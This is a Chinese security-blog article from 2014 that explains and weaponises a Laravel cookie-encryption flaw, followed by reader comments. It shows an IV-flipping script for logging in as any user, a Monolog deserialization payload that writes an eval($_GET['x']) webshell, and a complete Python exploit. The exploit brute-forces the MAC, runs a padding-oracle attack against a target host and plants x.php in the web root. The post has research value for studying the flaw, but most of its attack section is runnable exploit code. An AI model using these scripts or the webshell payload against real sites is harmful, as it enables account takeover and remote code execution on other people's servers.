Laravel cookie伪造,解密,和远程命令执行

fate0 2014-04-29 17:48:00

from:laravel-cookie-forgery-decryption-and-rce

0x00 内容


0x01 名词约定


下图为CBC模式加密过程

下图为CBC模式解密过程

  • Plaintext: 明文(P)
  • Ciphertext: 密文(C)
  • Initialization Vector: 初始化向量(IV)
  • Key: 密钥(K)

0x02 简介


Laravel PHP框架中的加密模块存在漏洞,攻击者能够利用该漏洞伪造session cookie来实现任意用户登录, 在某些情况下,攻击者能够伪造明文对应的密文,并以此来实行远程代码执行。

Laravel是一个免费,开源的PHP框架,它为现在的web开发人员提供了很多功能,包括基于cookie的session功能。 为了防止攻击者伪造cookie,Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时,会计算出相对应的MAC, 并与cookie所带的MAC做比较。如果两MAC不一致,则认为cookie已经被篡改,请求会被终止。

0x03 任意用户登录


下面的代码展示了MAC验证和解密过程:

$payload = json_decode(base64_decode($payload), true);

if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
    throw new DecryptException("MAC for payload is invalid.");

$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);

$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));

从上面的代码可以看出MAC只对value进行校验,并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael-256的密码分组链接(CBC)模式。 着也就意味着,没有对IV进行校验,攻击者能够任意修改第一个块的明文。

Laravel “remember me”的cookie格式是user ID字符串,因此恶意用户可以修改他们自个的session cookie,达到登录任意用户,假设我们的用户ID为"123",session cookie原始明文为s:3:"123";后接22byte的补充:s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16(译者注: Laravel用的是PKCS7 padding,与PKCS5不同的是,PKCS5明确填充的内容psLen是1-8, 而PKCS7没有这限制。)

假设系统生成的cookie中的IV是这样子的:

V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84

如果我们想伪造ID为1的用户,也就是cookie明文为s:1:"1";后接24byte的补充,为了能够使服务器端成功解密出ID为1的明文, 需要按照以下步骤生成IV:

就获得了Pb 相对应的IVb,提交新的cookie,我们就成了ID为1的用户,也可以用同样的方法来登录其他ID。 对攻击者来说,能够登录任意用户也是相当牛逼的,但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法, 能够通杀使用Laravel的应用呢?

0x04 发送任意密文


另外一个问题,进行MAC检验的时候使用的是!=。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串, 但是如果$payload['mac']是一个整型,那么强制类型转换会使得伪造一个对应的MAC变得相对简单, 例如,正确的MAC以"0"或者其他非数字起头,那么整数0将与之匹配,如果以"1x"(x非数字),那么整数1与之匹配,依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)

var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true

由于MAC是经过json_decode处理的,攻击者可以提供一个整型的MAC,这也就意味着,攻击者能够提供一个正确的MAC给任意密文。

0x05 解密密文


Laravel使用的是CBC模式的分组密码,我们也能够提供任意密文让其解密,我们是否能够实施一次牛逼哄哄的CBC padding oracle attack攻击呢? 答案是:在某种情况下,YES

一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态,回头看看解密过程的代码, 有三个地方填充状态可能会被泄漏:

  • mcryptDecrypt(): 无侧漏,就是调用mcrypt_decrypt(),没对padding进行处理
  • stripPadding(): 无明显侧漏,该方法检测padding是否合法,但不会报告错误,只是返回输入是否被篡改。 这里有个基于时间的边信道侧漏,是否多调用substr(),但是我们选择无视它。
  • unserialize(): 当error reporting启用,一个不合法的PHP序列化字符串,它会侧漏输入字符串的长度。

嗯,当PHP reporting启用时(其实应该是Laravel的debug模式开启时),反序列化解密后的数据会告诉我们有多少byte的padding被去除, 例如unserialize()爆出"offset X of 22 bytes"的错误时,我们就可以知道这里有10byte的padding。

这样的侧漏对于组织一次有预谋的padding oracle attack来说,足够!

0x06 为任意明文伪造合法的密文


既然有了个CBC decryption oracle,那就很有可能利用CBC-R技术来加密任意明文。

CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ,如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 , 他就能够生成他想要的明文块。既然这里有个选择密文攻击,很显然攻击者能够控制 Ci 和 Ci−1 , 至于DK(Ci)

我们能够利用decryption oracle获得,因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧,如果应用程序使用了这套加密API,我们就伪造密文来执行敏感操作,但是这还是得取决于应用有多傻逼, 我们希望变得更牛逼。

0x07 发送任意密文


我们已经使用unserialize()作为我们padding oracle的基础, 那我们再次利用unserialize()作一次PHP对象注入来达到任意代码执行,如何?

经过搜索Laravel代码之后,发现还是蛮多类定义了__wakeup()或者__destruct()魔术方法, 不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类,显然,如果payload利用的是被广泛应用的monolog而不是其他特定的类,会更为通用。 使用Composer(PHP依赖管理器)时,monolog很有可能被包含,因为它可能被注册为PHP class autoload,这也就意味着, monolog不用被明确的包含在我们请求的文件中,当我们反序列化的时候,PHP会自动寻找加载这个类。

BufferHandler类包装这另外一个log处理类,当BufferHandler对象被销毁时,BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer,一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类,所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象,其中StreamHandler对象的流资源指向web根目录,并且BufferHandler内包含着带有php webshell的log buffer,好,计划通,行动。

利用下面的代码,很容易生成对应的payload:

<?php

require_once 'vendor/autoload.php';

use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\BufferHandler;

$handler = new BufferHandler(
    new StreamHandler('target-file.php')
);
$handler->handle(array(
    'level' => Logger::DEBUG,
    'message' => '<?php eval(hex2bin($_GET[\'x\']));?>',
    'extra' => array(),
));
print bin2hex(serialize($handler)) . "\n";
?>

上面的脚本会生成我们的payload:

O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}

通过上面介绍的技巧,我们可以加密该payload,作为cookie提交上去的时候,代码就执行了。

0x08 译者总结


对于原作者所说的漏洞,我拿一个开源bloglaravel-4.1-simple-blog做实验,将关键文件回滚到存在漏洞状态,如果有人想研究,也可以在这laravel-cookie-forgery-decryption-and-rce.zip下载完整文件。

测试1 任意用户登录

在本地:

新注册一个账户fate0@fatezero.org,得到用户ID为62,利用以下代码即可获取指定ID用户的cookie

<?php

if ($argc < 4) {
    print("[*] Usage ".$argv[0]." cookie userid targetid\n");
    return;
}

$cookie = json_decode(base64_decode($argv[1]), true);
$userid = $argv[2];
$targetid = $argv[3];

$iv_a = base64_decode($cookie['iv']);
$p_a = addPadding(serialize($userid));
$p_b = addPadding(serialize($targetid));

$iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);

$cookie['iv'] = $iv_b;

echo base64_encode(json_encode($cookie))."\n";

function addPadding($value) {
    $block_size = 32;
    $pad = $block_size - (strlen($value) % $block_size);
    return $value.str_repeat(chr($pad), $pad);
}
?>

运行结果

测试2 利用padding oracle来实现RCE

我修改原作者生成payload的脚本,对比生成的payload和原作者给的payload,发现原作者把一些无用的protect属性给去除了, payload显得比较短,打算直接使用作者给的payload。

但是!原作者的payload留了个大坑,正常访问下,index.php的工作目录是web目录, 但是unserialize cookie之后产生的BufferHandler对象和字符串做运算,而BufferHandler类没实现__toString魔术方法, 从而导致触发fatal error,使用register_shutdown_function注册的回调函数$this->close被调用,但是!在我测试环境ubuntu 12.04 64bit + php 5.3.10下,触发异常导致$this->close被调用的时候,工作环境被切换到了根路径'/',从而导致写文件失败。

另外一个坑是mac校验处,本来以为(10/16.0) ** 3 = 0.244140625,开头连续三个数字字符的概率还算低,结果跑一遍才发现远远低估mac校验这里的情况了,比如说正确的校验值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd, 这种情况就让人很无奈。在实际情况中,正确的做法是换payload,在这里我就直接换key, 最后把key换成Http://WeiBo.COM/Fatez3r0/home?Y。 由于程序推ciphertext,推cv的关联性,以及推1 byte cv的随机性,多线程在此处意义不大。

下面是我根据上面的原理编写的exploit

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function

import re
import sys
import json
import struct
import base64
import requests
from optparse import OptionParser


def init_parser():
    print("")
    print("=== POC for laravel RCE ===")
    print("=== by fate0            ===")
    print("=== fate0@fatezero.org  ===")
    print("=== weibo.com/fatez3r0  ===")
    print("")
    usage = "Usage: %prog --host http://www.fatezero.org"
    parser = OptionParser(usage=usage, description="POC for laravel RCE")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    return parser


class LaravelOracle(object):
    """
    提供32位的payload,也就是明文P
    返回相对应的32byte IV
    """
    block_size = 32

    def __init__(self, domain, plaintext, ciphertext):
        self.domain = domain
        self.timeout = 7
        self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M)
        self.plaintext = bytearray(plaintext)  # 32byte的payload
        self.ciphertext = bytearray(ciphertext)  # 32byte的ciphertext
        self.cv = bytearray()   # 正确的cv (中间值)
        self.iv = bytearray()
        self.cookie = {
            'mac': 0,
            'value': self.ciphertext,
            'iv': bytearray('0'*32)
        }
        self.modify_cookie_mac()

    @staticmethod
    def add_padding(value):
        """
        对value进行padding
        """
        pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)
        return "{value}{padding}".format(value=value, padding=chr(pad)*pad)

    @staticmethod
    def format_cookie(cookie):
        """
        将易操作的cookie转换成laravel的cookie
        """
        tmp_cookie = dict()
        send_cookie = dict()

        tmp_cookie['iv'] = base64.b64encode(cookie['iv'])
        tmp_cookie['value'] = base64.b64encode(cookie['value'])
        tmp_cookie['mac'] = int(cookie['mac'])

        send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))
        return send_cookie

    def modify_cookie_iv(self, index):
        if len(self.cv) != index:
            print("[-] Something Wrong")
            sys.exit()

        tmp_append = bytearray()
        for each_c in self.cv:
            tmp_append.append(each_c ^ (index+1))

        self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append

    def modify_cookie_mac(self):
        """
        获取正确的mac
        一个32byte的分组,只有1个正确的mac
        """
        while True:
            send_cookie = self.format_cookie(self.cookie)
            response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
            if response.status_code == 500:
                return True
            self.cookie['mac'] += 1

    def guess_cookie_iv_byte(self, index, value):
        """
        猜测一个字节的IV
        """

        self.cookie['iv'][LaravelOracle.block_size-index-1] = value
        send_cookie = self.format_cookie(self.cookie)
        response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)

        re_result = self.re_pattern.findall(response.content)
        if not re_result:
            if index != 31:
                return False
            if response.status_code == 200:
                self.cv.insert(0, value ^ (index+1))
                return True
        elif int(re_result[0]) >= LaravelOracle.block_size - index:
            return False
        else:
            self.cv.insert(0, value ^ (index+1))
            return True

    def exploit(self):
        for index in xrange(32):
            self.modify_cookie_iv(index)
            for value in xrange(256):
                if self.guess_cookie_iv_byte(index, value):
                    break
            print(index, hex(self.cv[0]))

        for p_char, cv_char in zip(self.plaintext, self.cv):
            self.iv.append(p_char ^ cv_char)


def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]

    cookie = dict()
    cookie['mac'] = 0

    payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29'''
               ''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}'''
               '''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''
               '''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''')

    padding_payload = LaravelOracle.add_padding(payload)
    payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))

    ciphertext = bytearray('0'*32)
    for each_payload_block in payload_block:
        print("[plaintext] {payload_block}".format(payload_block=each_payload_block))
        print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))
        LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])
        LO.exploit()
        print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))
        ciphertext = LO.iv + ciphertext

    cookie['iv'] = ciphertext[:32]
    cookie['value'] = ciphertext[32:]
    cookie['mac'] = 0

    while True:
        send_cookie = LaravelOracle.format_cookie(cookie)
        requests.get(domain, cookies=send_cookie, timeout=7)
        if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:
            print("cookie: \n{cookie}".format(cookie=send_cookie))
            return
        cookie['mac'] += 1


if __name__ == '__main__':
    main()

运行结果

评论

A

A胖 2014-04-29 18:49:56

流弊

路人甲 2014-04-30 10:54:05

学习了!

路人甲 2014-04-30 11:24:09

" It provides a lot of the functionality required for developing a modern web application"
作者是什么原因要翻译成:“它为现在的web开发人员提供了一堆乱七八糟的功能” 这么恶心的结果呢?
另外为何不给出原文最后一段呢?让大家都去升级自己的版本。
https://github.com/laravel/framework/commit/3271f78e85a343bde67dae5a84c79739fbe8d4be

路人甲 2014-04-30 11:29:03

这个翻译也太那个了吧。。什么“它为现在的web开发人员提供了一堆乱七八糟的功能”?。。这什么乱七八糟的翻译?麻烦先去学好你的英文再去翻译吧。。还把最后的一段给干掉了。。这恶心别人也别丢国人的脸面。。

路人甲 2014-04-30 12:22:34

好吧,我去年开始一直在用laravel,觉得它很好,所以看到这句话的时候就觉得不应该这样翻译,没别的意思,国外排行第一的东西肯定不是“乱七八糟”的,所以,其实你可以不翻译或者简单翻译,但不能改掉原文的意思,整个攻击技巧是很吸引人,但是由于能力不足,没看懂。换个角色,如果是一个程序员或者企业,看到这此消息第一时间是要让程序员来处理的,但整文没看见怎么处理,没办法看了原文才知道是13年6月就已经处理了,虽然后面又补了一次。如果要想别人看过程,可以把解决方案或者处理状态放文章最后。PS: 程序员还是有很多关注wooyun的 :)

路人甲 2014-04-30 12:31:38

顶楼主,翻译这事本来就是传播知识,还是个体力活,不喜欢的人可以去看原文。

路人甲 2014-04-30 12:32:59

哈哈,真的会哦

瞌睡龙 2014-04-30 12:36:56

一个措辞不当,会引起larval fans这么大反应……
fate0是一个安全人员,比较注重攻击的过程,所以其他方面可能每太注意,抱歉。
另外此文并非纯粹的翻译,而是fate0根据自己的理解写了很多。其中的exp写的也很精彩。
因为几个小点就上升到丢国人脸面的地步这也太大了点。各位larval fans请淡定,原文措辞已修改。
感谢fate0贡献此文。

路人甲 2014-05-01 00:18:24

对楼上的喷子表示呵呵了。。。顶楼主。并且感谢楼主辛苦整理分享。

mramydnei 2014-05-01 00:36:27

受教了,对于“专业”评论家只能说 U can u up,no can no bb

路人甲 2014-06-11 10:12:46

从专业角度讲,研究者理应提供好程序包的版本号,这样严谨

幽灵 2014-10-25 14:41:28

译者辛苦了,看了原文和译文,只说一点,就是原文结尾那段,个人认为还是加上比较好一些,毕竟“发现问题-研究问题-解决问题”这么一条路下来比较顺畅一些,而且相对也尊重原文,至于上面说的那些“乱七八糟”等等,对于作为一个Laravel使用者的我来说没什么特别的感觉,因为那不是本文的重点,作为一个我这样的一个使用者,更多的还是会关注问题本身以及解决方案。PS:闲扯几句,原文有解决方案的最好还是带着翻译过来,虽然相比之下可能译者会更多的关注过程,但是从我接触到了解到的安全领域从业者来说,一味的发现漏洞和利用漏洞的,不如那些除了发现和利用漏洞 ,更注重修复漏洞的,不同观点欢迎讨论,这里我只是发表了一下自己的看法,如有偏颇,还请指正,谢谢,最后,译者辛苦了!

B

BeenQuiver 2015-08-10 17:01:52

吊炸天!!!

F

fate0

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

网络协议 文章:18 篇
数据安全 文章:29 篇
逻辑漏洞 文章:15 篇
后门 文章:39 篇
APT 文章:6 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录